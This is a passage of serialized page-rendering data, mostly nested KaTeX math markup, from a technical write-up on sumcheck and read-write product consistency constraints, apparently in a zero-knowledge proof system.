",{"type":23,"tag":94,"props":118309,"children":118311},{"className":118310},[],[118312],{"type":28,"value":118313},"out_evals",{"type":28,"value":23191},{"type":23,"tag":24,"props":118316,"children":118317},{},[118318,118320],{"type":28,"value":118319},"The tower sumcheck claim is ",{"type":23,"tag":94,"props":118321,"children":118323},{"className":118322},[3237,3238],[118324],{"type":23,"tag":314,"props":118325,"children":118327},{"className":118326},[3243],[118328],{"type":23,"tag":314,"props":118329,"children":118331},{"className":118330,"ariaHidden":1481},[3248],[118332,118363,118488],{"type":23,"tag":314,"props":118333,"children":118335},{"className":118334},[3253],[118336,118340,118350,118354,118359],{"type":23,"tag":314,"props":118337,"children":118339},{"className":118338,"style":92214},[3258],[],{"type":23,"tag":314,"props":118341,"children":118343},{"className":118342},[3264,28],[118344],{"type":23,"tag":314,"props":118345,"children":118347},{"className":118346},[3264],[118348],{"type":28,"value":118349},"claim",{"type":23,"tag":314,"props":118351,"children":118353},{"className":118352,"style":3442},[3344],[],{"type":23,"tag":314,"props":118355,"children":118357},{"className":118356},[3447],[118358],{"type":28,"value":1102},{"type":23,"tag":314,"props":118360,"children":118362},{"className":118361,"style":3442},[3344],[],{"type":23,"tag":314,"props":118364,"children":118366},{"className":118365},[3253],[118367,118372,118429,118433,118475,118479,118484],{"type":23,"tag":314,"props":118368,"children":118371},{"className":118369,"style":118370},[3258],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":23,"tag":314,"props":118373,"children":118375},{"className":118374},[20861],[118376,118381],{"type":23,"tag":314,"props":118377,"children":118379},{"className":118378,"style":20868},[20861,20866,20867],[118380],{"type":28,"value":108094},{"type":23,"tag":314,"props":118382,"children":118384},{"className":118383},[3280],[118385],{"type":23,"tag":314,"props":118386,"children":118388},{"className":118387},[3285,20879],[118389,118418],{"type":23,"tag":314,"props":118390,"children":118392},{"className":118391},[3290],[118393,118413],{"type":23,"tag":314,"props":118394,"children":118396},{"className":118395,"style":113506},[3295],[118397],{"type":23,"tag":314,"props":118398,"children":118399},{"style":20892},[118400,118404],{"type":23,"tag":314,"props":118401,"children":118403},{"className":118402,"style":3305},[3304],[],{"type":23,"tag":314,"props":118405,"children":118407},{"className":118406},[3310,3311,3312,3313],[118408],{"type":23,"tag":314,"props":118409,"children":118411},{"className":118410,"style":113522},[3264,20825,3313],[118412],{"type":28,"value":7909},{"type":23,"tag":314,"props":118414,"children":118416},{"className":118415},[20982],[118417],{"type":28,"value":20985},{"type":23,"tag":314,"props":118419,"children":118421},{"className":118420},[3290],[118422],{"type":23,"tag":314,"props":118423,"children":118425},{"className":118424,"style":113537},[3295],[118426],{"type":23,"tag":314,"props":118427,"children":118428},{},[],{"type":23,"tag":314,"props":118430,"children":118432},{"className":118431,"style":3383},[3344],[],{"type":23,"tag":314,"props":118434,"children":118436},{"className":118435},[3264],[118437,118442],{"type":23,"tag":314,"props":118438,"children":118440},{"className":118439,"style":114387},[3264,20825],[118441],{"type":28,"value":114390},{"type":23,"tag":314,"props":118443,"children":118445},{"className":118444},[3280],[118446],{"type":23,"tag":314,"props":118447,"children":118449},{"className":118448},[3285],[118450],{"type":23,"tag":314,"props":118451,"children":118453},{"className":118452},[3290],[118454],{"type":23,"tag":314,"props":118455,"children":118458},{"className":118456,"style":118457},[3295],"height:0.8247em;",[118459],{"type":23,"tag":314,"props":118460,"children":118461},{"style":3299},[118462,118466],{"type":23,"tag":314,"props":118463,"children":118465},{"className":118464,"style":3305},[3304],[],{"type":23,"tag":314,"props":118467,"children":118469},{"className":118468},[3310,3311,3312,3313],[118470],{"type":23,"tag":314,"props":118471,"children":118473},{"className":118472,"style":113522},[3264,20825,3313],[118474],{"type":28,"value":7909},{"type":23,"tag":314,"props":118476,"children":118478},{"className":118477,"style":3345},[3344],[],{"type":23,"tag":314,"props":118480,"children":118482},{"className":118481},[3350],[118483],{"type":28,"value":110561},{"type":23,"tag":314,"props":118485,"children":118487},{"className":118486,"style":3345},[3344],[],{"type":23,"tag":314,"props":118489,"children":118491},{"className":118490},[3253],[118492,118496,118505,118510],{"type":23,"tag":314,"props":118493,"children":118495},{"className":118494,"style":93712},[3258],[],{"type":23,"tag":314,"props":118497,"children":118499},{"className":118498},[3264,28],[118500],{"type":23,"tag":314,"props":118501,"children":118503},{"className":118502},[3264],[118504],{"type":28,"value":117973},{"type":23,"tag":314,"props":118506,"children":118508},{"className":118507,"style":92299},[3264],[118509],{"type":28,"value":2338},{"type":23,"tag":314,"props":118511,"children":118513},{"className":118512},[3264],[118514,118523],{"type":23,"tag":314,"props":118515,"children":118517},{"className":118516},[3264,28],[118518],{"type":23,"tag":314,"props":118519,"children":118521},{"className":118520},[3264],[118522],{"type":28,"value":117992},{"type":23,"tag":314,"props":118524,"children":118526},{"className":118525},[3280],[118527],{"type":23,"tag":314,"props":118528,"children":118530},{"className":118529},[3285,20879],[118531,118560],{"type":23,"tag":314,"props":118532,"children":118534},{"className":118533},[3290],[118535,118555],{"type":23,"tag":314,"props":118536,"children":118538},{"className":118537,"style":92828},[3295],[118539],{"type":23,"tag":314,"props":118540,"children":118541},{"style":113429},[118542,118546],{"type":23,"tag":314,"props":118543,"children":118545},{"className":118544,"style":3305},[3304],[],{"type":23,"tag":314,"props":118547,"children":118549},{"className":118548},[3310,3311,3312,3313],[118550],{"type":23,"tag":314,"props":118551,"children":118553},{"className":118552,"style":113522},[3264,20825,3313],[118554],{"type":28,"value":7909},{"type":23,"tag":314,"props":118556,"children":118558},{"className":118557},[20982],[118559],{"type":28,"value":20985},{"type":23,"tag":314,"props":118561,"children":118563},{"className":118562},[3290],[118564],{"type":23,"tag":314,"props":118565,"children":118567},{"className":118566,"style":118209},[3295],[118568],{"type":23,"tag":314,"props":118569,"children":118570},{},[],{"type":23,"tag":24,"props":118572,"children":118573},{},[118574,118576,118581],{"type":28,"value":118575},"This check is linear in ",{"type":23,"tag":94,"props":118577,"children":118579},{"className":118578},[],[118580],{"type":28,"value":118313},{"type":28,"value":282},{"type":23,"tag":84,"props":118583,"children":118584},{"start":370},[118585],{"type":23,"tag":88,"props":118586,"children":118587},{},[118588,118593,118595,118600],{"type":23,"tag":721,"props":118589,"children":118590},{},[118591],{"type":28,"value":118592},"rw-product consistency",{"type":28,"value":118594}," (bilinear in ",{"type":23,"tag":94,"props":118596,"children":118598},{"className":118597},[],[118599],{"type":28,"value":118313},{"type":28,"value":23191},{"type":23,"tag":24,"props":118602,"children":118603},{},[118604],{"type":23,"tag":94,"props":118605,"children":118607},{"className":118606},[3237,3238],[118608],{"type":23,"tag":314,"props":118609,"children":118611},{"className":118610},[3243],[118612],{"type":23,"tag":314,"props":118613,"children":118615},{"className":118614,"ariaHidden":1481},[3248],[118616,118787,118958],{"type":23,"tag":314,"props":118617,"children":118619},{"className":118618},[3253],[118620,118624,118681,118685,118694,118699,118708,118713,118774,118778,118783],{"type":23,"tag":314,"props":118621,"children":118623},{"className":118622,"style":92241},[3258],[],{"type":23,"tag":314,"props":118625,"children":118627},{"className":118626},[20861],[118628,118633],{"type":23,"tag":314,"props":118629,"children":118631},{"className":118630,"style":20868},[20861,20866,20867],[118632],{"type":28,"value":117897},{"type":23,"tag":314,"props":118634,"children":118636},{"className":118635},[3280],[118637],{"type":23,"tag":314,"props":118638,"children":118640},{"className":118639},[3285,20879],[118641,118670],{"type":23,"tag":314,"props":118642,"children":118644},{"className":118643},[3290],[118645,118665],{"type":23,"tag":314,"props":118646,"children":118648},{"className":118647,"style":113506},[3295],[118649],{"type":23,"tag":314,"props":118650,"children":118651},{"style":20892},[118652,118656],{"type":23,"tag":314,"props":118653,"children":118655},{"className":118654,"style":3305},[3304],[],{"type":23,"tag":314,"props":118657,"children":118659},{"className":118658},[3310,3311,3312,3313],[118660],{"type":23,"tag":314,"props":118661,"children":118663},{"className":118662},[3264,20825,3313],[118664],{"type":28,"value":2993},{"type":23,"tag":314,"props":118666,"children":118668},{"className":118667},[20982],[118669],{"type":28,"value":20985},{"type":23,"tag":314,"props":118671,"children":118673},{"className":118672},[3290],[118674],{"type":23,"tag":314,"props":118675,"children":118677},{"className":118676,"style":113786},[3295],[118678],{"type":23,"tag":314,"props":118679,"children":118680},{},[],{"type":23,"tag":314,"props":118682,"children":118684},{"className":118683,"style":3383},[3344],[],{"type":23,"tag":314,"props":118686,"children":118688},{"className":118687},[3264,28],[118689],{"type":23,"tag":314,"props":118690,"children":118692},{"className":118691},[3264],[118693],{"type":28,"value":93118},{"type":23,"tag":314,"props":118695,"children":118697},{"className":118696,"style":92299},[3264],[118698],{"type":28,"value":2338},{"type":23,"tag":314,"props":118700,"children":118702},{"className":118701},[3264,28],[118703],{"type":23,"tag":314,"props":118704,"children":118706},{"className":118705},[3264],[118707],{"type":28,"value":117973},{"type":23,"tag":314,"props":118709,"children":118711},{"className":118710,"style":92299},[3264],[118712],{"type":28,"value":2338},{"type":23,"tag":314,"props":118714,"children":118716},{"className":118715},[3264],[118717,118726],{"type":23,"tag":314,"props":118718,"children":118720},{"className":118719},[3264,28],[118721],{"type":23,"tag":314,"props":118722,"children":118724},{"className":118723},[3264],[118725],{"type":28,"value":117992},{"type":23,"tag":314,"props":118727,"children":118729},{"className":118728},[3280],[118730],{"type":23,"tag":314,"props":118731,"children":118733},{"className":118732},[3285,20879],[118734,118763],{"type":23,"tag":314,"props":118735,"children":118737},{"className":118736},[3290],[118738,118758],{"type":23,"tag":314,"props":118739,"children":118741},{"className":118740,"style":92828},[3295],[118742],{"type":23,"tag":314,"props":118743,"children":118744},{"style":113429},[118745,118749],{"type":23,"tag":314,"props":118746,"children":118748},{"className":118747,"style":3305},[3304],[],{"type":23,"tag":314,"props":118750,"children":118752},{"className":118751},[3310,3311,3312,3313],[118753],{"type":23,"tag":314,"props":118754,"children":118756},{"className":118755},[3264,20825,3313],[118757],{"type":28,"value":2993},{"type":23,"tag":314,"props":118759,"children":118761},{"className":118760},[20982],[118762],{"type":28,"value":20985},{"type":23,"tag":314,"props":118764,"children":118766},{"className":118765},[3290],[118767],{"type":23,"tag":314,"props":118768,"children":118770},{"className":118769,"style":92382},[3295],[118771],{"type":23,"tag":314,"props":118772,"children":118773},{},[],{"type":23,"tag":314,"props":118775,"children":118777},{"className":118776,"style":3442},[3344],[],{"type":23,"tag":314,"props":118779,"children":118781},{"className":118780},[3447],[118782],{"type":28,"value":1102},{"type":23,"tag":314,"props":118784,"children":118786},{"className":118785,"style":3442},[3344],[],{"type":23,"tag":314,"props":118788,"children":118790},{"className":118789},[3253],[118791,118795,118852,118856,118865,118870,118879,118884,118945,118949,118954],{"type":23,"tag":314,"props":118792,"children":118794},{"className":118793,"style":118061},[3258],[],{"type":23,"tag":314,"props":118796,"children":118798},{"className":118797},[20861],[118799,118804],{"type":23,"tag":314,"props":118800,"children":118802},{"className":118801,"style":20868},[20861,20866,20867],[118803],{"type":28,"value":117897},{"type":23,"tag":314,"props":118805,"children":118807},{"className":118806},[3280],[118808],{"type":23,"tag":314,"props":118809,"children":118811},{"className":118810},[3285,20879],[118812,118841],{"type":23,"tag":314,"props":118813,"children":118815},{"className":118814},[3290],[118816,118836],{"type":23,"tag":314,"props":118817,"children":118819},{"className":118818,"style":113506},[3295],[118820],{"type":23,"tag":314,"props":118821,"children":118822},{"style":20892},[118823,118827],{"type":23,"tag":314,"props":118824,"children":118826},{"className":118825,"style":3305},[3304],[],{"type":23,"tag":314,"props":118828,"children":118830},{"className":118829},[3310,3311,3312,3313],[118831],{"type":23,"tag":314,"props":118832,"children":118834},{"className":118833,"style":113522},[3264,20825,3313],[118835],{"type":28,"value":7909},{"type":23,"tag":314,"props":118837,"children":118839},{"className":118838},[20982],[118840],{"type":28,"value":20985},{"type":23,"tag":314,"props":118842,"children":118844},{"className":118843},[3290],[118845],{"type":23,"tag":314,"props":118846,"children":118848},{"className":118847,"style":113537},[3295],[118849],{"type":23,"tag":314,"props":118850,"children":118851},{},[],{"type":23,"tag":314,"props":118853,"children":118855},{"className":118854,"style":3383},[3344],[],{"type":23,"tag":314,"props":118857,"children":118859},{"className":118858},[3264,28],[118860],{"type":23,"tag":314,"props":118861,"children":118863},{"className":118862},[3264],[118864],{"type":28,"value":48822},{"type":23,"tag":314,"props":118866,"children":118868},{"className":118867,"style":92299},[3264],[118869],{"type":28,"value":2338},{"type":23,"tag":314,"props":118871,"children":118873},{"className":118872},[3264,28],[118874],{"type":23,"tag":314,"props":118875,"children":118877},{"className":118876},[3264],[118878],{"type":28,"value":117973},{"type":23,"tag":314,"props":118880,"children":118882},{"className":118881,"style":92299},[3264],[118883],{"type":28,"value":2338},{"type":23,"tag":314,"props":118885,"children":118887},{"className":118886},[3264],[118888,118897],{"type":23,"tag":314,"props":118889,"children":118891},{"className":118890},[3264,28],[118892],{"type":23,"tag":314,"props":118893,"children":118895},{"className":118894},[3264],[118896],{"type":28,"value":117992},{"type":23,"tag":314,"props":118898,"children":118900},{"className":118899},[3280],[118901],{"type":23,"tag":314,"props":118902,"children":118904},{"className":118903},[3285,20879],[118905,118934],{"type":23,"tag":314,"props":118906,"children":118908},{"className":118907},[3290],[118909,118929],{"type":23,"tag":314,"props":118910,"children":118912},{"className":118911,"style":92828},[3295],[118913],{"type":23,"tag":314,"props":118914,"children":118915},{"style":113429},[118916,118920],{"type":23,"tag":314,"props":118917,"children":118919},{"className":118918,"style":3305},[3304],[],{"type":23,"tag":314,"props":118921,"children":118923},{"className":118922},[3310,3311,3312,3313],[118924],{"type":23,"tag":314,"props":118925,"children":118927},{"className":118926,"style":113522},[3264,20825,3313],[118928],{"type":28,"value":7909},{"type":23,"tag":314,"props":118930,"children":118932},{"className":118931},[20982],[118933],{"type":28,"value":20985},{"type":23,"tag":314,"props":118935,"children":118937},{"className":118936},[3290],[118938],{"type":23,"tag":314,"props":118939,"children":118941},{"className":118940,"style":118209},[3295],[118942],{"type":23,"tag":314,"props":118943,"children":118944},{},[],{"type":23,"tag":314,"props":118946,"children":118948},{"className":118947,"style":3345},[3344],[],{"type":23,"tag":314,"props":118950,"children":118952},{"className":118951},[3350],[118953],{"type":28,"value":110561},{"type":23,"tag":314,"props":118955,"children":118957},{"className":118956,"style":3345},[3344],[],{"type":23,"tag":314,"props":118959,"children":118961},{"className":118960},[3253],[118962,118966,118971,118980],{"type":23,"tag":314,"props":118963,"children":118965},{"className":118964,"style":3365},[3258],[],{"type":23,"tag":314,"props":118967,"children":118969},{"className":118968},[20954],[118970],{"type":28,"value":341},{"type":23,"tag":314,"props":118972,"children":118974},{"className":118973},[3264,28],[118975],{"type":23,"tag":314,"props":118976,"children":118978},{"className":118977},[3264],[118979],{"type":28,"value":118249},{"type":23,"tag":314,"props":118981,"children":118983},{"className":118982},[20976],[118984],{"type":28,"value":431},{"type":23,"tag":24,"props":118986,"children":118987},{},[118988,118990,119159,119160,119329],{"type":28,"value":118989},"If we vary ",{"type":23,"tag":94,"props":118991,"children":118993},{"className":118992},[3237,3238],[118994],{"type":23,"tag":314,"props":118995,"children":118997},{"className":118996},[3243],[118998],{"type":23,"tag":314,"props":118999,"children":119001},{"className":119000,"ariaHidden":1481},[3248],[119002,119080],{"type":23,"tag":314,"props":119003,"children":119005},{"className":119004},[3253],[119006,119010,119067,119071,119076],{"type":23,"tag":314,"props":119007,"children":119009},{"className":119008,"style":109269},[3258],[],{"type":23,"tag":314,"props":119011,"children":119013},{"className":119012},[3264],[119014,119019],{"type":23,"tag":314,"props":119015,"children":119017},{"className":119016},[3264,20825],[119018],{"type":28,"value":18514},{"type":23,"tag":314,"props":119020,"children":119022},{"className":119021},[3280],[119023],{"type":23,"tag":314,"props":119024,"children":119026},{"className":119025},[3285,20879],[119027,119056],{"type":23,"tag":314,"props":119028,"children":119030},{"className":119029},[3290],[119031,119051],{"type":23,"tag":314,"props":119032,"children":119034},{"className":119033,"style":92351},[3295],[119035],{"type":23,"tag":314,"props":119036,"children":119037},{"style":92355},[119038,119042],{"type":23,"tag":314,"props":119039,"children":119041},{"className":119040,"style":3305},[3304],[],{"type":23,"tag":314,"props":119043,"children":119045},{"className":119044},[3310,3311,3312,3313],[119046],{"type":23,"tag":314,"props":119047,"children":119049},{"className":119048},[3264,3313],[119050],{"type":28,"value":1600},{"type":23,"tag":314,"props":119052,"children":119054},{"className":119053},[20982],[119055],{"type":28,"value":20985},{"type":23,"tag":314,"props":119057,"children":119059},{"className":119058},[3290],[119060],{"type":23,"tag":314,"props":119061,"children":119063},{"className":119062,"style":92382},[3295],[119064],{"type":23,"tag":314,"props":119065,"children":119066},{},[],{"type":23,"tag":314,"props":119068,"children":119070},{"className":119069,"style":3442},[3344],[],{"type":23,"tag":314,"props":119072,"children":119074},{"className":119073},[3447],[119075],{"type":28,"value":1102},{"type":23,"tag":314,"props":119077,"children":119079},{"className":119078,"style":3442},[3344],[],{"type":23,"tag":314,"props":119081,"children":119083},{"className":119082},[3253],[119084,119088,119129,119134,119139,119144,119149,119154],{"type":23,"tag":314,"props":119085,"children":119087},{"className":119086,"style":92241},[3258],[],{"type":23,"tag":314,"props":119089,"children":119091},{"className":119090},[3264],[119092,119101,119106,119115,119120],{"type":23,"tag":314,"props":119093,"children":119095},{"className":119094},[3264,28],[119096],{"type":23,"tag":314,"props":119097,"children":119099},{"className":119098},[3264],[119100],{"type":28,"value":93118},{"type":23,"tag":314,"props":119102,"children":119104},{"className":119103,"style":92299},[3264],[119105],{"type":28,"value":2338},{"type":23,"tag":314,"props":119107,"children":119109},{"className":119108},[3264,28],[119110],{"type":23,"tag":314,"props":119111,"children":119113},{"className":119112},[3264],[119114],{"type":28,"value":117973},{"type":23,"tag":314,"props":119116,"children":119118},{"className":119117,"style":92299},[3264],[119119],{"type":28,"value":2338},{"type":23,"tag":314,"props":119121,"children":119123},{"className":119122},[3264,28],[119124],{"type":23,"tag":314,"props":119125,"children":119127},{"className":119126},[3264],[119128],{"type":28,"value":117992},{"type":23,"tag":314,"props":119130,"children":119132},{"className":119131},[20954],[119133],{"type":28,"value":1312},{"type":23,"tag":314,"props":119135,"children":119137},{"className":119136},[3264],[119138],{"type":28,"value":1600},{"type":23,"tag":314,"props":119140,"children":119142},{"className":119141},[20976],[119143],{"type":28,"value":14653},{"type":23,"tag":314,"props":119145,"children":119147},{"className":119146},[20954],[119148],{"type":28,"value":1312},{"type":23,"tag":314,"props":119150,"children":119152},{"className":119151},[3264],[119153],{"type":28,"value":1600},{"type":23,"tag":314,"props":119155,"children":119157},{"className":119156},[20976],[119158],{"type":28,"value":14653},{"type":28,"value":557},{"type":23,"tag":94,"props":119161,"children":119163},{"className":119162},[3237,3238],[119164],{"type":23,"tag":314,"props":119165,"children":119167},{"className":119166},[3243],[119168],{"type":23,"tag":314,"props":119169,"children":119171},{"className":119170,"ariaHidden":1481},[3248],[119172,119250],{"type":23,"tag":314,"props":119173,"children":119175},{"className":119174},[3253],[119176,119180,119237,119241,119246],{"type":23,"tag":314,"props":119177,"children":119179},{"className":119178,"style":109269},[3258],[],{"type":23,"tag":314,"props":119181,"children":119183},{"className":119182},[3264],[119184,119189],{"type":23,"tag":314,"props":119185,"children":119187},{"className":119186},[3264,20825],[119188],{"type":28,"value":18514},{"type":23,"tag":314,"props":119190,"children":119192},{"className":119191},[3280],[119193],{"type":23,"tag":314,"props":119194,"children":119196},{"className":119195},[3285,20879],[119197,119226],{"type":23,"tag":314,"props":119198,"children":119200},{"className":119199},[3290],[119201,119221],{"type":23,"tag":314,"props":119202,"children":119204},{"className":119203,"style":92351},[3295],[119205],{"type":23,"tag":314,"props":119206,"children":119207},{"style":92355},[119208,119212],{"type":23,"tag":314,"props":119209,"children":119211},{"className":119210,"style":3305},[3304],[],{"type":23,"tag":314,"props":119213,"children":119215},{"className":119214},[3310,3311,3312,3313],[119216],{"type":23,"tag":314,"props":119217,"children":119219},{"className":119218},[3264,3313],[119220],{"type":28,"value":3267},{"type":23,"tag":314,"props":119222,"children":119224},{"className":119223},[20982],[119225],{"type":28,"value":20985},{"type":23,"tag":314,"props":119227,"children":119229},{"className":119228},[3290],[119230],{"type":23,"tag":314,"props":119231,"children":119233},{"className":119232,"style":92382},[3295],[119234],{"type":23,"tag":314,"props":119235,"children":119236},{},[],{"type":23,"tag":314,"props":119238,"children":119240},{"className":119239,"style":3442},[3344],[],{"type":23,"tag":314,"props":119242,"children":119244},{"className":119243},[3447],[119245],{"type":28,"value":1102},{"type":23,"tag":314,"props":119247,"children":119249},{"className":119248,"style":3442},[3344],[],{"type":23,"tag":314,"props":119251,"children":119253},{"className":119252},[3253],[119254,119258,119299,119304,119309,119314,119319,119324],{"type":23,"tag":314,"props":119255,"children":119257},{"className":119256,"style":92241},[3258],[],{"type":23,"tag":314,"props":119259,"children":119261},{"className":119260},[3264],[119262,119271,119276,119285,119290],{"type":23,"tag":314,"props":119263,"children":119265},{"className":119264},[3264,28],[119266],{"type":23,"tag":314,"props":119267,"children":119269},{"className":119268},[3264],[119270],{"type":28,"value":93118},{"type":23,"tag":314,"props":119272,"children":119274},{"className":119273,"style":92299},[3264],[119275],{"type":28,"value":2338},{"type":23,"tag":314,"props":119277,"children":119279},{"className":119278},[3264,28],[119280],{"type":23,"tag":314,"props":119281,"children":119283},{"className":119282},[3264],[119284],{"type":28,"value":117973},{"type":23,"tag":314,"props":119286,"children":119288},{"className":119287,"style":92299},[3264],[119289],{"type":28,"value":2338},{"type":23,"tag":314,"props":119291,"children":119293},{"className":119292},[3264,28],[119294],{"type":23,"tag":314,"props":119295,"children":119297},{"className":119296},[3264],[119298],{"type":28,"value":117992},{"type":23,"tag":314,"props":119300,"children":119302},{"className":119301},[20954],[119303],{"type":28,"value":1312},{"type":23,"tag":314,"props":119305,"children":119307},{"className":119306},[3264],[119308],{"type":28,"value":1600},{"type":23,"tag":314,"props":119310,"children":119312},{"className":119311},[20976],[119313],{"type":28,"value":14653},{"type":23,"tag":314,"props":119315,"children":119317},{"className":119316},[20954],[119318],{"type":28,"value":1312},{"type":23,"tag":314,"props":119320,"children":119322},{"className":119321},[3264],[119323],{"type":28,"value":3267},{"type":23,"tag":314,"props":119325,"children":119327},{"className":119326},[20976],[119328],{"type":28,"value":14653},{"type":28,"value":119330}," we get the following constraint:",{"type":23,"tag":24,"props":119332,"children":119333},{},[119334],{"type":23,"tag":94,"props":119335,"children":119337},{"className":119336},[3237,3238],[119338],{"type":23,"tag":314,"props":119339,"children":119341},{"className":119340},[3243],[119342],{"type":23,"tag":314,"props":119343,"children":119345},{"className":119344,"ariaHidden":1481},[3248],[119346,119425,119503,119544],{"type":23,"tag":314,"props":119347,"children":119349},{"className":119348},[3253],[119350,119355,119412,119416,119421],{"type":23,"tag":314,"props":119351,"children":119354},{"className":119352,"style":119353},[3258],"height:0.5945em;vertical-align:-0.15em;",[],{"type":23,"tag":314,"props":119356,"children":119358},{"className":119357},[3264],[119359,119364],{"type":23,"tag":314,"props":119360,"children":119362},{"className":119361},[3264,20825],[119363],{"type":28,"value":18514},{"type":23,"tag":314,"props":119365,"children":119367},{"className":119366},[3280],[119368],{"type":23,"tag":314,"props":119369,"children":119371},{"className":119370},[3285,20879],[119372,119401],{"type":23,"tag":314,"props":119373,"children":119375},{"className":119374},[3290],[119376,119396],{"type":23,"tag":314,"props":119377,"children":119379},{"className":119378,"style":92351},[3295],[119380],{"type":23,"tag":314,"props":119381,"children":119382},{"style":92355},[119383,119387],{"type":23,"tag":314,"props":119384,"children":119386},{"className":119385,"style":3305},[3304],[],{"type":23,"tag":314,"props":119388,"children":119390},{"className":119389},[3310,3311,3312,3313],[119391],{"type":23,"tag":314,"props":119392,"children":119394},{"className":119393},[3264,3313],[119395],{"type":28,"value":1600},{"type":23,"tag":314,"props":119397,"children":119399},{"className":119398},[20982],[119400],{"type":28,"value":20985},{"type":23,"tag":314,"props":119402,"children":119404},{"className":119403},[3290],[119405],{"type":23,"tag":314,"props":119406,"children":119408},{"className":119407,"style":92382},[3295],[119409],{"type":23,"tag":314,"props":119410,"children":119411},{},[],{"type":23,"tag":314,"props":119413,"children":119415},{"className":119414,"style":3345},[3344],[],{"type":23,"tag":314,"props":119417,"children":119419},{"className":119418},[3350],[119420],{"type":28,"value":110561},{"type":23,"tag":314,"props":119422,"children":119424},{"className":119423,"style":3345},[3344],[],{"type":23,"tag":314,"props":119426,"children":119428},{"className":119427},[3253],[119429,119433,119490,119494,119499],{"type":23,"tag":314,"props":119430,"children":119432},{"className":119431,"style":119353},[3258],[],{"type":23,"tag":314,"props":119434,"children":119436},{"className":119435},[3264],[119437,119442],{"type":23,"tag":314,"props":119438,"children":119440},{"className":119439},[3264,20825],[119441],{"type":28,"value":18514},{"type":23,"tag":314,"props":119443,"children":119445},{"className":119444},[3280],[119446],{"type":23,"tag":314,"props":119447,"children":119449},{"className":119448},[3285,20879],[119450,119479],{"type":23,"tag":314,"props":119451,"children":119453},{"className":119452},[3290],[119454,119474],{"type":23,"tag":314,"props":119455,"children":119457},{"className":119456,"style":92351},[3295],[119458],{"type":23,"tag":314,"props":119459,"children":119460},{"style":92355},[119461,119465],{"type":23,"tag":314,"props":119462,"children":119464},{"className":119463,"style":3305},[3304],[],{"type":23,"tag":314,"props":119466,"children":119468},{"className":119467},[3310,3311,3312,3313],[119469],{"type":23,"tag":314,"props":119470,"children":119472},{"className":119471},[3264,3313],[119473],{"type":28,"value":3267},{"type":23,"tag":314,"props":119475,"children":119477},{"className":119476},[20982],[119478],{"type":28,"value":20985},{"type":23,"tag":314,"props":119480,"children":119482},{"className":119481},[3290],[119483],{"type":23,"tag":314,"props":119484,"children":119486},{"className":119485,"style":92382},[3295],[119487],{"type":23,"tag":314,"props":119488,"children":119489},{},[],{"type":23,"tag":314,"props":119491,"children":119493},{"className":119492,"style":3345},[3344],[],{"type":23,"tag":314,"props":119495,"children":119497},{"className":119496},[3350],[119498],{"type":28,"value":110561},{"type":23,"tag":314,"props":119500,"children":119502},{"className":119501,"style":3345},[3344],[],{"type":23,"tag":314,"props":119504,"children":119506},{"className":119505},[3253],[119507,119511,119516,119526,119531,119535,119540],{"type":23,"tag":314,"props":119508,"children":119510},{"className":119509,"style":3365},[3258],[],{"type":23,"tag":314,"props":119512,"children":119514},{"className":119513},[20954],[119515],{"type":28,"value":341},{"type":23,"tag":314,"props":119517,"children":119519},{"className":119518},[3264,28],[119520],{"type":23,"tag":314,"props":119521,"children":119523},{"className":119522},[3264],[119524],{"type":28,"value":119525},"rest of product",{"type":23,"tag":314,"props":119527,"children":119529},{"className":119528},[20976],[119530],{"type":28,"value":431},{"type":23,"tag":314,"props":119532,"children":119534},{"className":119533,"style":3442},[3344],[],{"type":23,"tag":314,"props":119536,"children":119538},{"className":119537},[3447],[119539],{"type":28,"value":1102},{"type":23,"tag":314,"props":119541,"children":119543},{"className":119542,"style":3442},[3344],[],{"type":23,"tag":314,"props":119545,"children":119547},{"className":119546},[3253],[119548,119552],{"type":23,"tag":314,"props":119549,"children":119551},{"className":119550,"style":114319},[3258],[],{"type":23,"tag":314,"props":119553,"children":119555},{"className":119554},[3264,28],[119556],{"type":23,"tag":314,"props":119557,"children":119559},{"className":119558},[3264],[119560],{"type":28,"value":114330},{"type":23,"tag":24,"props":119562,"children":119563},{},[119564,119566,119719],{"type":28,"value":119565},"This is bilinear in ",{"type":23,"tag":94,"props":119567,"children":119569},{"className":119568},[3237,3238],[119570],{"type":23,"tag":314,"props":119571,"children":119573},{"className":119572},[3243],[119574],{"type":23,"tag":314,"props":119575,"children":119577},{"className":119576,"ariaHidden":1481},[3248],[119578],{"type":23,"tag":314,"props":119579,"children":119581},{"className":119580},[3253],[119582,119586,119591,119648,119653,119657,119714],{"type":23,"tag":314,"props":119583,"children":119585},{"className":119584,"style":3365},[3258],[],{"type":23,"tag":314,"props":119587,"children":119589},{"className":119588},[20954],[119590],{"type":28,"value":341},{"type":23,"tag":314,"props":119592,"children":119594},{"className":119593},[3264],[119595,119600],{"type":23,"tag":314,"props":119596,"children":119598},{"className":119597},[3264,20825],[119599],{"type":28,"value":18514},{"type":23,"tag":314,"props":119601,"children":119603},{"className":119602},[3280],[119604],{"type":23,"tag":314,"props":119605,"children":119607},{"className":119606},[3285,20879],[119608,119637],{"type":23,"tag":314,"props":119609,"children":119611},{"className":119610},[3290],[119612,119632],{"type":23,"tag":314,"props":119613,"children":119615},{"className":119614,"style":92351},[3295],[119616],{"type":23,"tag":314,"props":119617,"children":119618},{"style":92355},[119619,119623],{"type":23,"tag":314,"props":119620,"children":119622},{"className":119621,"style":3305},[3304],[],{"type":23,"tag":314,"props":119624,"children":119626},{"className":119625},[3310,3311,3312,3313],[119627],{"type":23,"tag":314,"props":119628,"children":119630},{"className":119629},[3264,3313],[119631],{"type":28,"value":1600},{"type":23,"tag":314,"props":119633,"children":119635},{"className":119634},[20982],[119636],{"type":28,"value":20985},{"type":23,"tag":314,"props":119638,"children":119640},{"className":119639},[3290],[119641],{"type":23,"tag":314,"props":119642,"children":119644},{"className":119643,"style":92382},[3295],[119645],{"type":23,"tag":314,"props":119646,"children":119647},{},[],{"type":23,"tag":314,"props":119649,"children":119651},{"className":119650},[3376],[119652],{"type":28,"value":3379},{"type":23,"tag":314,"props":119654,"children":119656},{"className":119655,"style":3383},[3344],[],{"type":23,"tag":314,"props":119658,"children":119660},{"className":119659},[3264],[119661,119666],{"type":23,"tag":314,"props":119662,"children":119664},{"className":119663},[3264,20825],[119665],{"type":28,"value":18514},{"type":23,"tag":314,"props":119667,"children":119669},{"className":119668},[3280],[119670],{"type":23,"tag":314,"props":119671,"children":119673},{"className":119672},[3285,20879],[119674,119703],{"type":23,"tag":314,"props":119675,"children":119677},{"className":119676},[3290],[119678,119698],{"type":23,"tag":314,"props":119679,"children":119681},{"className":119680,"style":92351},[3295],[119682],{"type":23,"tag":314,"props":119683,"children":119684},{"style":92355}